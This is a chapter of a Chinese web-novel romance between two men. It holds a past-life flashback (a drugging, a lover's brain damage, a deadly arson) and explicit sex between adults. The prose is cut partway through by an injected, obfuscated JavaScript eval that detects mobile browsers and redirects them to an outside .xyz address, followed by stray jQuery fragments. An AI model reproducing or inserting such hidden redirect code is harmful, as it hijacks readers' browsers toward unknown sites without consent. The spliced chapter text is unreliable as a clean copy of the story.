20. 第 20 章
作品:《糖分超标》 然而受不住诱惑并不是最糟糕的。
最糟糕的是蔺宝璋那个智障是在黑市买的药,药效太强,解药太晚,蔺放被那热度给烧傻了。
真的傻了,智商只有六岁那种,但因为他是天才,所以大概是普通人的十岁。
而被做到晕过去的舒泉第二天扶着酸痛的腰肢醒来,就看到了一个一米九二但幼化版的蔺放。
他还以为自己给人啪傻了,当即大惊失色。
现在蔺放想来,当时舒泉应该是想跑的,但对方又实在善良,于是最后把他带回了那个不足十平米的出租屋。
至于蔺家夫妻,在知道他傻了之后就直接放弃了他——对蔺家这种豪富之家来说,想要维持一个傻子的温饱,比普通人养宠物还容易,可他们却连这点施舍都懒得给予,只蔺母不得已对着媒体流了几滴鳄鱼的眼泪,就把公关交给了秘书,至于那个罪魁祸首,那时正在私人岛屿上享受着鱼子酱和香槟。
不过他们的好日子并没有维持多久,蔺放虽然出事,但他留下的那些杀招还在,并且良好地继续运行着。
之后正如蔺放曾经谋划的那样,失去他这个掌舵人的蔺家巨轮很快触礁,短短半年光景百年基业土崩瓦解,随即蔺父在董事会上突发心梗,蔺宝璋变卖藏品时被查出走私,曾经煊赫的蔺氏大厦被法院贴上了封条。
而这半年却是蔺放两世过得最幸福的一段日子,就算舒泉很穷……
舒泉是真的穷,他无父无母,在福利院长大,九年义务教育后就被赶出去打工,要不是班主任硬把他从流水线上拽下来,他现在可能还在电子厂打螺丝。
不过他成绩不错,于是在班主任资助下读了高中,还考上了不错的大学。
本来一切都在朝着好的方向发展,可舒泉大二的时候,班主任查出了肺癌。
是早期,还有救,可老师一共资助了六个人,所以手头的积蓄还不到两千,而医生说手术加后续治疗费用,就算报销后也至少要二十万。
其他被资助的孩子还未成年,就算去打零工也赚不到什么钱,只能舒泉想办法。
舒泉去给人补课、去餐厅端盘子、去酒吧调酒……可钱好难赚啊,他一天只睡四个小时,但离凑够二十万还是遥遥无期。
这时有人来酒吧找MB,本来找好了一个身经百战的,但对方忽然遇到了真爱要从良,想拒绝的时候舒泉听说,一咬牙他就上了!
不过后来舒泉耗尽体力也就拿到了十万块,不但要继续想办法赚钱,还要养一个傻子,就更穷了。
好穷啊,穷的出租屋灯泡坏了舍不得换,两个人只能摸黑吃舒泉从饭店打包回来的残羹冷炙,穷的买不起衣服,有一阵蔺放光着身体藏在被子里半个月才等到舒泉给他买到二十九一套的衣服,却还是没有内裤,穷的冬天不舍得开空调,只能两个人盖着一床薄被子抱在一起取暖……
可是也好幸福啊,真的好幸福。
一开始舒泉抱着赎罪的心态,哪怕菜里只有一点肉沫也要都给他,然后被他笨拙地夹回去,没办法只能一人一半。
渐渐他用退化的大脑记住了做饭的步骤,虽然连一勺盐都要算计着加,可每天晚上舒泉回来都能吃上热乎乎的饭菜,蔺放最喜欢煮面条,然后把荷包蛋藏在舒泉碗底,当然最后还是一人一半。
他还学会了去工地搬砖,曾经签上亿合同的手指被磨出血泡,但赚到钱后他给舒泉买了冻疮膏,然后就有一滴滴水珠从舒泉眼中滴落,落在他身上烫极了。
他还买了烤红薯,烤的流蜜的红薯被他抱在怀里一直热着,然后和舒泉一人一口的吃掉,甜的两人都变成了小糖人。
再后来两人会在黑暗的夜色中接吻、做·爱,凶狠的,用力的,恨不得把对方融入自己的骨血。
舒泉总开玩笑说他对傻子这样是犯罪,可却把他脖颈搂得更紧,让两人没有一丝缝隙地贴在一起。
可最后这份幸福被打破了,疯了的蔺母不知道在哪看到了蔺放,她尾随到楼下,点燃了这栋楼,
午夜的火光来得猝不及防,这栋年久失修的居民楼就像个干燥的火药桶,转眼间就被烈焰完全吞没。
顶楼的出租屋里,蔺放最先被浓烟呛醒,他摇醒舒泉时,火舌已经舔上了木质门框,劣质防盗门在高温下扭曲到无法打开。
热浪开始灼烧皮肤,舒泉却突然笑了,他转身抱住惊惶失措的蔺放,“怎么办?傻子,我们好像逃不掉了,真糟糕,但有你却又好像没那么糟糕。”
蔺放混沌的大脑似乎突然清醒了一瞬,他用力回抱住这个给了他温暖的人,“不要怕,我们都不怕。”
在火焰即将吞噬他们的最后一刻,舒泉捧起蔺放的脸,两人在灼热的空气中热烈拥吻,就像过去无数个夜晚那样亲密无间,只是这次,再也不用担心明天的生计。
消防员后来在废墟中发现两具交缠的遗体,就连骨灰都融合在了一起无法分开……
蔺放回忆结束的时候,身上的麻绳已经被舒泉解开,少年的凤眼里都是焦急地询问他,“你怎么样了?没事吧?我先报警还是先叫救护车?”
可回答他的是男人握住他的手腕,把他拉到微微发颤的怀里死死搂住。
蔺放的双臂像铁箍般收紧,仿佛要将他揉进骨血,滚烫的唇不由分说压下来,带着失而复得的狂喜和劫后余生的战栗。
蔺放几乎要喜极而泣,他只能用急切的亲吻来证明他们两个都活着。
日!
舒泉骂了一声。
他以为金主遇到了危险,没想到人家真的在玩情趣,还装得那么真。
有钱人果然玩得花!
这句话是在心里骂的了,因为舒泉的唇齿全面沦陷,正被眼前刚认识的男人攻城略地。
可就算班主任没生病的时候,舒泉也在忙于打工给老师减轻负担,因此根本没时间谈恋爱,连手都没和别人牵过,所以这一上来直接法式热吻,他就扛不住。
而且对方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15608871|171252||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吻技好得不像话,舌尖扫过上颚的触感让舒泉腰眼都在发麻——他打工这些年,从拉面店到建筑工地样样精通,连揉面都要比旁人快三分,此刻却被亲得手脚发软。
舒泉甚至觉得自己就快被男人吻窒息了,但他内心是个卷王,于是他就不服气。
就类似于,都是男人,你凭什么比我会亲的那种不服气,于是舒泉揪住对方衣领反客为主,生涩却凶狠地吻回去。
我就不信亲不过……
这个念头还没转完,他的后脑就被大手扣住,更汹涌的攻势将他彻底淹没。
更可怕的是,他沦陷的不只是唇舌,舒泉只觉得男人对他身上的敏感点了如指掌,甚至比他自己都要了解,当带着薄茧的手指抚过他的腰窝时,他差点从床上弹起来。
舒泉自觉这都怪他平时打工太忙,有了欲望也都是忍忍算了,知识点就掌握得不太行。
但还是那句话,都是男人,凭什么!
于是他也开始在男人的身上作乱了起来,可指尖触碰到对方汗湿的皮肤时,却被那高热的体温烫得不停颤抖,连衣服什么时候坠落到地上的都不知道。
陌生的快感席卷全身,那些在深夜独自忍耐的欲望,原来可以被开发得如此淋漓尽致,这具身体每个战栗的秘密,都被眼前这个狂野帅气的男人一一发掘……
月光从歪斜的窗帘缝隙漏进来,照见地上纠缠的衣影,舒泉眩晕到溃不成军,膝盖软的需要对方扶着腰肢才不至于倒下去时,而蔺放游刃有余的轻笑正和吻一起烙在他渗出汗珠的后颈。
但蔺放的游刃有余实在太早了,才不过两三分钟的时间,石楠那独特的气味就蔓延在了空气之中。
舒泉感觉到身后人的骤然僵硬,汗湿发丝黏在额头上的微微侧过头去,正对上男人一脸窘迫的表情,和那红透了的耳根。
啧,没想到这男人空有一身技术,却是个银样镴枪头。
蔺放看懂舒泉目光中的含义,恼羞成怒地叼住他的耳垂,“第一次,体谅一下,很快继续。”
是他太激动了,上辈子他绝对没有这样!
然后蔺放就把不应期吃掉了一样的真的继续了。
舒泉于是再一次被卷入那混沌的愉悦之中,只能迷迷糊糊地想着,第一次,骗谁呢?这么会,说不定在多少人身上实验过了。
大抵是为了证明自己,蔺放这一次持久到让少年昏了过去,他才抱着人去浴室。
温热的水流中,指尖抚过那些自己留下的红痕时,男人眼底暗了又暗。
而等清晨舒缓迷迷糊糊地醒来,刚坐起来就又扶着自己的腰倒了下去,“嘶!”
他昨天的钱赚得真不容易!
不过也挺爽的,舒泉想着,慢悠悠地爬起来开始把衣服往身上套,穿上之后一回头对上男人的眼睛,他潇洒地开口,“拜拜了您呐。”
然后他就见男人眼中先是闪过一丝错愕,随即开口,“哥哥,你说什么?你不要我了吗?”